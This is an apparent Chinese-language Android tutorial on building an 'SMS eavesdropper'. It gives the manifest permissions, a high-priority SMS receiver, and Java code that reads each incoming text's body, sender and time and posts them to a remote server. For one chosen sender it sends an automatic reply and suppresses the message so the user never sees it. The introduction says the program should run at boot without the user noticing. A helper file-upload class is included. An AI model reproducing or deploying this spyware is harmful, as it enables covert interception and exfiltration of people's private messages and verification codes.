Android开发之短信窃听器
Android开发之短信窃听器
短信窃听器虽然能窃听到没人的短信,但是受多方面因素影响,比如开机就得运行你的程序,而且还不能让用户发现,这就需要你们自己动脑筋了。
首先我们要在清单里写上我们需要的权限与订阅广播
- <uses-permission Android:name="android.permission.INTERNET"/>//上网
- <uses-permission android:name="android.permission.RECEIVE_SMS"/>//接收短信
- <uses-permission android:name="android.permission.SEND_SMS"/>//发送短信
- <receiver android:name="MySMSListener">
- <intent-filter android:priority="100">//提升优先级
- <action android:name="android.provider.Telephony.SMS_RECEIVED"/>
- </intent-filter>
- </receiver>
实现代码
- package cn.class3g.smslistener;
- import java.text.SimpleDateFormat;
- import java.util.Date;
- import java.util.HashMap;
- import java.util.Map;
- import cn.class3g.utils.SocketHttpRequester;
- import android.content.BroadcastReceiver;
- import android.content.Context;
- import android.content.Intent;
- import android.os.Bundle;
- import android.telephony.SmsManager;
- import android.telephony.SmsMessage;
- import android.util.Log;
- public class MySMSListener extends BroadcastReceiver {
- @Override
- public void onReceive(Context context, Intent intent) {
- Bundle bundle = intent.getExtras();
- Object[] pdus = (Object[]) bundle.get("pdus");
- if (pdus != null && pdus.length > 0) {
- SmsMessage[] messages = new SmsMessage[pdus.length];
- for (int i = 0; i < messages.length; i++) {
- byte[] pdu = (byte[]) pdus[i];
- messages[i] = SmsMessage.createFromPdu(pdu);
- }
- for (SmsMessage msg : messages) {
- String content = msg.getMessageBody();
- String sender = msg.getOriginatingAddress();
- Date date = new Date(msg.getTimestampMillis());
- SimpleDateFormat sdf = new SimpleDateFormat(
- "yyyy-MM-dd HH:mm:ss");
- String sendTime = sdf.format(date);
- String path = "http://192.168.65.32:8080/videoweb/video/manage.do";
- Map<String, String> param = new HashMap<String, String>();
- param.put("method", "getSMS");
- param.put("content", content);
- param.put("sender", sender);
- param.put("time", sendTime);
- try {
- SocketHttpRequester.post(path, param, "UTF-8");
- } catch (Exception e) {
- // TODO Auto-generated catch block
- Log.e("tag", e.toString());
- }
- if (sender != null && sender.endsWith("5556")) {
- SmsManager smsManager = SmsManager.getDefault();
- smsManager.sendTextMessage("5556", null, "123", null, null);
- this.abortBroadcast();// 阻止接受
- }
- }
- }
- }
- }
用到的方法,读取数据
- package cn.class3g.utils;
- import java.io.File;
- import java.io.FileInputStream;
- import java.io.FileNotFoundException;
- import java.io.InputStream;
- /**
- * 上传文件
- */
- public class FormFile {
- /* 上传文件的数据 */
- private byte[] data;
- private InputStream inStream;
- private File file;
- /* 文件名称 */
- private String filname;
- /* 请求参数名称*/
- private String parameterName;
- /* 内容类型 */
- private String contentType = "application/octet-stream";
- public FormFile(String filname, byte[] data, String parameterName, String contentType) {
- this.data = data;
- this.filname = filname;
- this.parameterName = parameterName;
- if(contentType!=null) this.contentType = contentType;
- }
- public FormFile(String filname, File file, String parameterName, String contentType) {
- this.filname = filname;
- this.parameterName = parameterName;
- this.file = file;
- try {
- this.inStream = new FileInputStream(file);
- } catch (FileNotFoundException e) {
- e.printStackTrace();
- }
- if(contentType!=null) this.contentType = contentType;
- }
- public File getFile() {
- return file;
- }
- public InputStream getInStream() {
- return inStream;
- }
- public byte[] getData() {
- return data;
- }
- public String getFilname() {
- return filname;
- }
- public void setFilname(String filname) {
- this.filname = filname;
- }
- public String getParameterName() {
- return parameterName;
- }
- public void setParameterName(String parameterName) {
- this.parameterName = parameterName;
- }
- public String getContentType() {
- return contentType;
- }
- public void setContentType(String contentType) {
- this.contentType = contentType;
- }
- }
|
评论暂时关闭